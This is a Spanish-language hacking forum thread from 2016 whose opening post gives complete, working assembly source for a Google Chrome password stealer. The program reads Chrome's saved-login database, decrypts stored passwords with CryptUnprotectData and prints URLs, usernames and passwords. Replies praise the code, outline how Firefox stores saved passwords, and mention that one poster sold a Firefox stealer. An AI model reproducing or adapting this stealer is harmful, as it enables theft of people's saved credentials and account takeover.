elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [ASM] Stealer Google Chrome.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [ASM] Stealer Google Chrome.  (Leído 4,452 veces)
fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.076



Ver Perfil WWW
[ASM] Stealer Google Chrome.
« en: 21 Enero 2016, 08:58 am »

Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador  :laugh:

Es un Stealer del navegador Google Chrome, funcional con la última versión.



Código fuente:

Código
  1. ; Stealer Google Chrome
  2. ; Programado por Juan fary.
  3. ; Flat Assembler.
  4.  
  5. format PE Console 4.0
  6. entry start
  7. include 'win32ax.inc'
  8.  
  9. section '.data' data readable writeable
  10.        ruta         db '\Local\Google\Chrome\User Data\Default\Login Data',0
  11.        query        db 'SELECT origin_url, username_value, password_value FROM logins',0
  12.  
  13.        bd           dd ?
  14.        stmt         dd ?
  15.  
  16.        URL          db 'URL: %s',10,13,0
  17.        Usuario      db 'Usuario: %s',10,13,0
  18.        PASS         db 'PASS: %s',10,13,0
  19.  
  20.        struct DATA_BLOB
  21.               cbData   dd ?
  22.               pbData   dd ?
  23.        ends
  24.  
  25.        datain      DATA_BLOB
  26.        dataout     DATA_BLOB
  27.  
  28.        buffer      rb 255
  29.  
  30.        barra       db '-----------------------------------------------------',10,13,0
  31.  
  32.        BufferRuta  rb 512
  33.        APPDATA     db 'APPDATA',0
  34.  
  35. section '.code' code readable executable
  36. start:
  37.        invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
  38.        invoke lstrcat, BufferRuta, ruta
  39.  
  40.        cinvoke sqlite3_open, BufferRuta, bd
  41.        cmp eax, 0 ; eax = SQLITE_OK
  42.        jne salir
  43.  
  44.        cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
  45.        cmp eax, 0 ; eax = SQLITE_OK
  46.        jne salir
  47.  
  48.    BuclePass:
  49.        cinvoke sqlite3_step, [stmt]
  50.        cmp eax, 100 ; eax = SQLITE_ROW
  51.        jne salir
  52.  
  53.        cinvoke printf,barra
  54.  
  55.        cinvoke sqlite3_column_text , [stmt], 0  ; URL
  56.        cinvoke printf,URL,eax
  57.  
  58.        cinvoke sqlite3_column_text , [stmt], 1  ; USUARIO
  59.        cinvoke printf,Usuario,eax
  60.  
  61.        cinvoke sqlite3_column_text , [stmt], 2  ; Contraseña
  62.  
  63.        mov [datain.pbData], eax
  64.        mov [datain.cbData], 512
  65.  
  66.        invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout
  67.  
  68.        mov ecx, -1
  69.     BucleNull:
  70.        mov edx, [dataout.pbData]
  71.        inc ecx
  72.  
  73.        cmp byte[edx+ecx],0x08
  74.        jne BucleNull
  75.  
  76.        mov byte[edx+ecx],0
  77.  
  78.        cinvoke printf, PASS, [dataout.pbData]
  79.  
  80.        cinvoke printf,barra
  81.  
  82.        jmp BuclePass
  83.  
  84.        salir:
  85.        cinvoke system,'PAUSE'
  86.        ret
  87.  
  88. section '.idata' import data readable writeable
  89.  
  90.        library  sqlite3, 'sqlite3.dll',\
  91.                 msvcrt, 'msvcrt.dll',\
  92.                 Crypt32, 'Crypt32.dll',\
  93.                 KERNEL32, 'KERNEL32.DLL'
  94.  
  95.        import sqlite3,\
  96.               sqlite3_open, 'sqlite3_open',\
  97.               sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
  98.               sqlite3_column_text, 'sqlite3_column_text',\
  99.               sqlite3_step, 'sqlite3_step'
  100.  
  101.        import msvcrt,\
  102.               printf, 'printf',\
  103.               memcpy,'memcpy',\
  104.               system, 'system'
  105.  
  106.        import Crypt32,\
  107.               CryptUnprotectData, 'CryptUnprotectData'
  108.  
  109.        import KERNEL32,\
  110.               GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
  111.               lstrcat, 'lstrcatA'

saludos.


« Última modificación: 21 Enero 2016, 10:10 am por fary » En línea

Un byte a la izquierda.
crack81

Desconectado Desconectado

Mensajes: 222



Ver Perfil
Re: [ASM] Stealer Google Chrome.
« Respuesta #1 en: 21 Enero 2016, 20:23 pm »

Se ve genial gracias por el aportaso voy a darle una revisda
//saludos....
En línea

Si C/C++ es el padre de los lenguajes entonces ASM es dios.
kub0x
Enlightenment Seeker
Colaborador
***
Desconectado Desconectado

Mensajes: 1.486


S3C M4NI4C


Ver Perfil
Re: [ASM] Stealer Google Chrome.
« Respuesta #2 en: 24 Enero 2016, 13:35 pm »

Muy sexy ;) Joder que Chrome siga utilizando la API de crypto (CryptAPI) de Win32 deja mucho que desear.

Al menos para sacar las passwords de Mozilla tienes que reversear un poquito la API de NSS, cosa trivial mientras el usuario no utilice una contraseña maestra. Básicamente la password por defecto esta cifrada en TripleDES y encodeada en B64, en signons.sqlite por si te interesa, aunque ahora no usan sqlite sino .json (creo..) pues hace unos meses vendí un code que hacía de stealer para FireFox.

Son poquitas líneas, hace tiempo que perdí el stealer de Chrome en CPP (no puedo comparar) pero nada que envidiar.

Saludos.
En línea

Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: [ASM] Stealer Google Chrome.
« Respuesta #3 en: 25 Enero 2016, 22:28 pm »

Buenas camaradas, ¿así que tenías el stealer de firefox?, enhorabuena.

Yo tengo el de chrome también para C++, no llegan a 15 líneas de código XD.

Ahora estoy un poco desconectado del tema, pero tengo pensado hacer el de FF y EDGE, pero primero tengo que aprender mejor ingeniería inversa, más allá de tenerlo o no, quiero saber hacerlo por mi mismo a través de ingeniería inversa, eso me pondría cachondo hehehe.

Un saludo, nos vemos.
En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines